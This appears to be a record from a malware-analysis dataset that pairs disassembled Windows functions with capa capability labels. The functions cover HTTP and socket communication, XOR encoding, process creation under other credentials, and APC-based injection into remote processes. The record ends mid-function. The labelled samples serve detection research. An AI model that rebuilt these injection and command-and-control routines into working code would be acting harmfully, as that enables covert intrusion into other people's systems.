joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000d858
Capabilities:
Connect to http server
Create http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x40
mov rbx, r8
mov edi, edx
mov rsi, rcx
mov dword [rax + 0x20], 0x3a980
call fcn.180018e6c
mov r14d, 1
mov ecx, r14d
call fcn.180018118
lea ecx, [r14 + 0x31]
and al, 8
neg al
sbb r9d, r9d
and r9d, 0x803000
add r9d, 0x84400200
mov dword [0x18003e474], r9d
call fcn.180018118
cmp ax, r14w
jne 0x18000d8c2
bts dword [0x18003e474], 0x13
mov ecx, 0x23
call fcn.180018118
movzx ecx, ax
test ecx, ecx
je 0x18000d8f8
dec ecx
je 0x18000d8f0
dec ecx
je 0x18000d8e9
cmp ecx, 2
je 0x18000d8f8
mov rax, qword [0x18003e458]
jmp 0x18000d922
xor r8d, r8d
xor edx, edx
jmp 0x18000d90a
xor r8d, r8d
mov edx, r14d
jmp 0x18000d90a
mov ecx, 0x20
call fcn.1800180e4
mov edx, 3
mov r8, rax
and dword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x18003e458], rax
mov ebx, 4
lea r8, [rsp + 0x68]
mov rcx, rax
lea edx, [rbx + 1]
mov r9d, ebx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x18003e458]
lea r8, [rsp + 0x68]
lea edx, [rbx + 2]
mov r9d, ebx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x18003e458]
lea rax, [0x18003e478]
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
xor r9d, r9d
movzx r8d, di
mov rdx, rsi
mov dword [rsp + 0x28], 3
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
lea ecx, [rbx + 0x1f]
mov qword [0x18003e460], rax
call fcn.180018118
cmp ax, bx
jne 0x18000d9f1
lea edi, [rbx + 0x1d]
mov ecx, edi
call fcn.1800180c4
mov ecx, edi
mov ebx, eax
call fcn.1800180e4
mov rcx, qword [0x18003e460]
lea edx, [rdi + 0xa]
mov r9d, ebx
mov r8, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov edi, 0x22
mov ecx, edi
call fcn.1800180c4
mov ecx, edi
mov ebx, eax
call fcn.1800180e4
mov rcx, qword [0x18003e460]
lea edx, [rdi + 0xa]
mov r9d, ebx
mov r8, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
call fcn.180018e9c
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop r14
ret
Function at 0x18000da0c
Capabilities:
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x428]
sub rsp, 0x520
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rbp + 0x410], rax
and qword [rbp - 0x78], 0
mov rbx, rcx
lea rax, [0x18002c72c]
lea rcx, [rbp + 0x11]
xor edx, edx
mov r8d, 0x3ff
mov qword [rbp - 0x80], rax
mov byte [rbp + 0x10], 0
call fcn.180019620
xor edx, edx
lea rcx, [rbp - 0x6f]
mov byte [rbp - 0x70], 0
lea r8d, [rdx + 0x7f]
call fcn.180019620
and qword [rsp + 0x40], 0
xor edx, edx
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x48]
call fcn.180019620
mov edx, dword [0x18003e470]
test edx, edx
je 0x18000dc0c
lea rcx, [rsp + 0x40]
call fcn.180015fcc
mov rcx, qword [rsp + 0x50]
mov r14d, 0x400
lea r8, [0x18002c728]
mov edx, r14d
mov r9, rbx
call fcn.18001972c
mov r9d, dword [0x180046a60]
lea r8, [0x18002c730]
lea rcx, [rbp - 0x70]
mov edx, 0x80
call fcn.18001972c
or rbx, 0xffffffffffffffff
lea rax, [rbp - 0x70]
mov rdi, rbx
inc rdi
cmp byte [rax + rdi], 0
jne 0x18000dae8
mov ecx, reloc.WS2_32.dll_listen
call fcn.1800180e4
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x40]
mov rcx, rax
mov eax, dword [0x18003e470]
mov r9d, edi
mov dword [rsp + 0x28], eax
mov rax, qword [0x18003e468]
mov qword [rsp + 0x20], rax
call fcn.180015724
mov rcx, qword [rsp + 0x48]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x18000db2d
mov r9, qword [rsp + 0x50]
mov rdx, r14
test rax, rax
jne 0x18000db55
lea r8, [0x18002c728]
lea rcx, [rbp + 0x10]
call fcn.18001972c
jmp 0x18000db6a
mov qword [rsp + 0x20], rcx
lea r8, [0x18002c734]
lea rcx, [rbp + 0x10]
call fcn.18001972c
call fcn.180018e6c
mov ecx, 0x1b
call fcn.1800180e4
mov rcx, qword [0x18003e460]
lea r8, [rbp + 0x10]
mov rdx, rax
lea rax, [0x18003e478]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov eax, dword [0x18003e474]
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rax
mov rdi, rax
call fcn.18000d778
mov rdx, qword [rsp + 0x40]
inc rbx
cmp byte [rdx + rbx], 0
jne 0x18000dbc5
mov eax, dword [rsp + 0x60]
mov r9, qword [rsp + 0x58]
mov r8, rbx
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [0x18003e470]
lea rcx, [rsp + 0x40]
call fcn.180015fc0
and dword [0x18003e470], 0
call fcn.180018e9c
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.18001a200
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18000dd00
Capabilities:
Get hostname
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, edx
mov rdi, rcx
call fcn.18000dd60
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x18000dd4e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x18000dd4e
cmp word [rax + 0x10], 2
jne 0x18000dd4e
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
test rcx, rcx
je 0x18000dd4e
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
jmp 0x18000dd55
lea rax, str.unknown
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x18000dd60
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
cmp dword [0x18003e480], 1
je 0x18000ddc0
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x18000ddd8
mov ecx, socket
mov dword [0x18003e480], 1
call fcn.180018090
mov ecx, reloc.WS2_32.dll_send
mov dword [0x18003e484], eax
call fcn.180018090
mov dword [0x18003e488], eax
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.18001a200
add rsp, 0x1d8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.18001aa00
int3
Function at 0x18000ec40
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x19]
xor edx, edx
mov r8d, esi
call fcn.180019620
xor eax, eax
mov dword [rbp - 0x19], esi
lea r8, [rbp - 0x59]
lea rdx, [rbp + 0x7f]
lea rcx, [rbp - 0x61]
xor esi, esi
mov r9d, 0x100000
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x71], rax
mov qword [rbp - 0x69], rax
mov dword [rbp - 0x59], 0x18
mov qword [rbp - 0x51], rsi
mov dword [rbp - 0x49], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rbp + 0x7f]
lea r9, [rbp - 0x79]
lea r8, [rbp - 0x19]
mov edx, ebx
mov rcx, rdi
mov dword [rsp + 0x28], esi
mov qword [rbp + 0x3f], rax
mov qword [rbp + 0x47], rax
mov dword [rbp + 0x23], 0x101
mov word [rbp + 0x27], si
mov qword [rbp + 0x37], rsi
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.180015514
test eax, eax
je 0x18000ed29
mov rcx, qword [rbp - 0x79]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rbp + 0x7f]
mov rdx, qword [rbp - 0x61]
movups xmm0, xmmword [rbp - 0x79]
movsd xmm1, qword [rbp - 0x69]
lea rcx, [rbp - 0x39]
movaps xmmword [rbp - 0x39], xmm0
movsd qword [rbp - 0x29], xmm1
call fcn.180013034
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x18000edb8
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov esi, edx
mov rdi, rcx
lea r14d, [r8 + 2]
lea edx, [r8 + 1]
mov ecx, r14d
call sub.WS2_32.dll_socket
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x18000ee02
mov rax, rbp
jmp 0x18000ee5c
mov rcx, rdi
call sub.WS2_32.dll_gethostbyname
test rax, rax
je 0x18000edfd
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.180019c80
movzx ecx, si
mov word [rsp + 0x20], r14w
call sub.WS2_32.dll_htons
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
mov word [rsp + 0x22], ax
call sub.WS2_32.dll_connect
test eax, eax
je 0x18000ee59
mov rcx, rbx
call sub.WS2_32.dll_closesocket
jmp 0x18000edfd
mov rax, rbx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x18000f4e8
Capabilities:
Encode data using xor

Disassembly:
movsxd r10, edx
movsxd rax, r9d
sub r10, 4
cmp r10, rax
jbe 0x18000f4fa
xor eax, eax
ret
mov r11, rcx
add rcx, 4
sub edx, 4
je 0x18000f52b
xor r9d, r9d
mov r10d, edx
sub rcx, r8
mov rax, r9
inc r9
and eax, 3
mov al, byte [rax + r11]
xor al, byte [rcx + r8]
mov byte [r8], al
inc r8
dec r10
jne 0x18000f50f
mov eax, edx
ret

Function at 0x18000f530
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rsi, edx
movsxd rax, r9d
mov rbx, r8
add rsi, 4
mov edi, edx
mov rbp, rcx
mov r14, r8
cmp rsi, rax
jbe 0x18000f567
xor eax, eax
jmp 0x18000f59a
call fcn.18000ddec
xor edx, edx
mov dword [rbx], eax
add rbx, 4
test edi, edi
je 0x18000f598
sub rbp, rbx
mov rax, rdi
mov rcx, rdx
inc rdx
and ecx, 3
mov cl, byte [rcx + r14]
xor cl, byte [rbx + rbp]
mov byte [rbx], cl
inc rbx
dec rax
jne 0x18000f57e
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18000f878
Capabilities:
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
test byte [rcx + 0x20], 4
mov rbx, rcx
jne 0x18000f8e5
mov rcx, qword [rcx]
lea rdx, [rsp + 0x20]
call fcn.18000c71c
test eax, eax
je 0x18000f8e5
mov rax, qword [rsp + 0x20]
or dword [rbx + 0x20], 4
mov rcx, rbx
mov qword [rbx], rax
call fcn.18000f5b8
mov rcx, qword [rbx + 0x18]
lea rdx, [rsp + 0x20]
mov edi, eax
call fcn.18000f6bc
mov rcx, qword [rbx + 0x18]
test eax, eax
jne 0x18000f8d7
mov rcx, qword [rcx]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x18000f8ed
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, edi
jmp 0x18000f8ed
mov rcx, rbx
call fcn.18000f5b8
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x18000f8f8
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x60
mov rax, qword [rcx + 0x18]
mov rbx, rcx
mov r9d, 2
mov qword [r11 - 0x18], rax
mov rax, qword [rcx + 0x10]
mov qword [r11 - 0x20], rax
mov eax, dword [rcx + 0x20]
mov rcx, qword [0x180042780]
mov qword [r11 - 0x28], r8
and qword [r11 - 0x30], 0
mov r8, qword [0x180042788]
mov dword [rsp + 0x30], eax
mov qword [r11 - 0x40], rdx
mov rdx, qword [0x180042778]
and qword [r11 - 0x48], 0
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x18000f958
mov eax, 1
jmp 0x18000f970
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbx]
mov ecx, 0x45
mov r8d, eax
call fcn.18000d4c0
xor eax, eax
add rsp, 0x60
pop rbx
ret
Function at 0x18000fb18
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xf0
mov r13, rcx
xor edi, edi
mov ecx, 0xa000
mov r15, r9
mov rbx, r8
mov r12, rdx
mov esi, edi
call fcn.180014120
mov edx, 0x4000
mov rcx, rax
mov rbp, rax
call fcn.18001423c
mov edi, 0x400
mov rcx, rbp
mov edx, edi
mov qword [rsp + 0x68], rax
call fcn.18001423c
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x60], rax
call fcn.18001423c
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x70], rax
call fcn.18001423c
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x78], rax
call fcn.18001423c
lea r14d, [rsi + 0x68]
lea rcx, [rsp + 0x80]
mov r8d, r14d
xor edx, edx
mov rdi, rax
call fcn.180019620
xor eax, eax
mov dword [rsp + 0x80], r14d
mov r14, qword [rsp + 0x148]
lea rcx, [rsp + 0x80]
mov qword [r14], rax
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rdx, qword [rsp + 0x68]
xor eax, eax
mov r8d, 0x4000
mov rcx, r15
mov dword [rsp + 0xbc], 0x101
mov word [rsp + 0xc0], ax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x90], rax
call fcn.18000ed44
mov rdx, qword [rsp + 0x70]
mov r8d, 0x400
mov rcx, r12
call fcn.18000ed44
mov rdx, qword [rsp + 0x78]
mov r8d, 0x400
mov rcx, rbx
call fcn.18000ed44
mov rdx, qword [rsp + 0x60]
mov ebx, 0x400
mov r8d, ebx
mov rcx, r13
call fcn.18000ed44
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp eax, ebx
jae 0x18000fc85
mov rdx, rdi
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov rsi, rdi
mov eax, dword [rsp + 0x140]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x50], r14
xor edi, edi
or eax, 0x8000400
lea rcx, [rsp + 0x80]
lea ebx, [rdi + 1]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov r9d, ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x18000fd07
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._s_as__s_s:__d
lea ecx, [rdi + 0x35]
mov dword [rsp + 0x28], eax
mov r9, r13
mov r8, r15
mov qword [rsp + 0x20], r12
call fcn.18000d368
mov ebx, edi
mov rcx, rbp
call fcn.1800141d0
lea r11, [rsp + 0xf0]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180010048
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx + 4], 0
mov rdi, rdx
mov rbx, rcx
ja 0x18001003a
mov ecx, dword [rcx]
call sub.WS2_32.dll_htonl
mov edx, 4
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 5]
mov dword [rsp + 0x30], eax
call rdi
mov rcx, qword [rbx + 8]
call fcn.18001aacc
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
mov rbp, rdx
cmp qword [0x18003e4a0], rsi
mov rbx, rcx
jne 0x180010086
mov ecx, 0x80004
call fcn.180019378
mov qword [0x18003e4a0], rax
mov ecx, dword [rbx]
call sub.WS2_32.dll_htonl
mov rcx, qword [0x18003e4a0]
mov dword [rcx], eax
mov edi, dword [rbx + 4]
cmp edi, r14d
cmova edi, r14d
test edi, edi
je 0x1800100d8
mov rax, qword [0x18003e4a0]
mov r9, qword [rbx + 8]
mov ecx, esi
add rax, 4
mov r8d, edi
mov edx, 1
add rcx, rax
call fcn.18001b190
test eax, eax
je 0x1800100d4
sub dword [rbx + 4], eax
add esi, eax
sub edi, eax
jne 0x1800100a4
jmp 0x1800100d8
and dword [rbx + 4], 0
mov rcx, qword [0x18003e4a0]
lea edx, [rsi + 4]
mov r8d, 8
call rbp
mov rdx, rbp
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp 0x180010000
Function at 0x1800106cc
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ebx, eax
test eax, eax
jne 0x1800106fe
xor eax, eax
jmp 0x180010720
inc eax
cmp eax, edi
jae 0x1800106fa
mov r8, rdi
xor edx, edx
mov rcx, rbp
call fcn.180019620
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180010738
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x1800108b8
Capabilities:
Allocate or change rwx memory

Disassembly:
lea rdx, [0x180010810]
lea rcx, [fcn.1800108a4]
jmp 0x1800108b8
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [0x18003e4a8], 0
mov rsi, rdx
mov rdi, rcx
jne 0x1800109a2
mov ecx, 0x29
sub edi, edx
call fcn.180018090
mov ebx, eax
call fcn.18001806c
lea r9, [rsp + 0x40]
add rax, rbx
mov r8d, 4
mov edx, edi
mov rcx, rax
mov qword [0x18003e4a8], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [0x18003e4a8]
movsxd r8, edi
mov rdx, rsi
call fcn.180019c80
mov r8d, dword [rsp + 0x40]
mov rcx, qword [0x18003e4a8]
lea r9, [rsp + 0x40]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x18
call fcn.180019378
mov qword [0x18003e4b0], rax
call fcn.18001806c
mov rcx, qword [0x18003e4b0]
mov qword [rcx], rax
mov ecx, 0x2a
call fcn.1800180e4
mov rcx, qword [0x18003e4b0]
mov qword [rcx + 8], rax
call fcn.18001aa0c
mov r8d, eax
mov eax, 0x81020409
imul r8d
mov rax, qword [0x18003e4b0]
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0xfe
sub r8d, edx
inc r8b
mov byte [rax + 0x10], r8b
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x18001108c
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r15
push rbp
lea rbp, [rax - 0x18]
sub rsp, 0x110
mov ecx, dword [rbp + 0x70]
mov rsi, r9
mov r14d, r8d
mov edi, edx
call fcn.180018e88
mov r15d, 0x68
lea rcx, [rbp - 0x60]
xor edx, edx
mov r8d, r15d
call fcn.180019620
xor eax, eax
mov dword [rbp - 0x60], r15d
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
xor r15d, r15d
mov r9d, 0x100000
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x68], 0x18
mov qword [rsp + 0x70], r15
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x60]
mov edx, dword [rbp + 0x70]
mov ecx, dword [rbp + 0x68]
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x60]
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r15w
mov qword [rbp - 0x10], r15
call fcn.18001838c
test eax, eax
je 0x1800111ce
lea ecx, [r15 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x50]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 0x40]
lea rcx, [rsp + 0x40]
mov r9, rsi
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], eax
call fcn.1800116a8
test edi, edi
je 0x1800111a3
mov rcx, qword [rsp + 0x58]
mov edx, edi
call fcn.180012d70
movups xmm0, xmmword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x50]
mov r9, qword [rbp + 0x58]
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movsd qword [rbp - 0x70], xmm1
call fcn.180012de4
mov ecx, dword [rbp + 0x70]
call fcn.180018eb8
lea r11, [rsp + 0x110]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180011904
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
lea rax, [fcn.180011904]
mov rbp, rcx
lea r15, [0x1800118b8]
sub eax, r15d
xor r12d, r12d
mov rsi, r8
lea rcx, [rax + 0x20]
mov qword [rsp + 0x70], r12
lea edi, [rax + 0x20]
mov ebx, eax
call fcn.180019378
mov rcx, qword [rsi]
mov qword [rax], rcx
mov rcx, qword [rsi + 8]
mov r8d, ebx
mov qword [rax + 8], rcx
mov rcx, qword [rsi + 0x10]
mov rdx, r15
mov qword [rax + 0x10], rcx
mov rcx, qword [rsi + 0x18]
mov r14, rax
mov qword [rax + 0x18], rcx
lea rcx, [rax + 0x20]
call fcn.180019c80
mov r9d, 0x3000
mov r8d, edi
xor edx, edx
mov rcx, rbp
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x1800119c4
lea rax, [rsp + 0x70]
mov r9d, edi
mov r8, r14
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800119c4
cmp qword [rsp + 0x70], rdi
cmovne rbx, r12
mov rcx, r14
call fcn.180019338
mov rbp, qword [rsp + 0x68]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1800119e8
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, rdx
xor edx, edx
mov rdi, r8
mov rsi, rcx
lea rcx, [rbp - 0x24]
lea r8d, [rdx + 0x18]
call fcn.180019620
xor eax, eax
lea rcx, str.ntdll
and qword [rbp - 0x50], rax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
and dword [rbp - 0x30], 0
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x28], 0x1c
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x180011b7a
mov edx, dword [rsi + 0x10]
mov rcx, qword [rsi]
lea r8, [rbp - 0x48]
call fcn.180011904
mov rbx, rax
test rax, rax
je 0x180011b7a
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
test rax, rax
je 0x180011b7a
lea rdx, [rbp - 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180011b7a
mov eax, dword [rsi + 0x10]
cmp dword [rbp - 0x1c], eax
jne 0x180011b02
mov r8d, dword [rbp - 0x20]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov r14, rax
test rax, rax
je 0x180011b02
and qword [rsp + 0x20], 0
lea rdx, [rbx + 0x20]
xor r9d, r9d
mov r8, rbx
mov rcx, rax
call r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x28]
mov rcx, rdi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180011ac2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsi]
lea rax, [rbp - 0x50]
mov edi, 0x20
lea r8, [rbp - 0x48]
mov rdx, rbx
mov r9d, edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x180011b7a
cmp qword [rbp - 0x50], rdi
jne 0x180011b7a
cmp dword [rbp - 0x30], 0
jne 0x180011b9f
mov rcx, qword [rsi]
lea rax, [rbp - 0x50]
lea r8, [rbp - 0x48]
mov r9d, edi
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x30], 1
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0xc8]
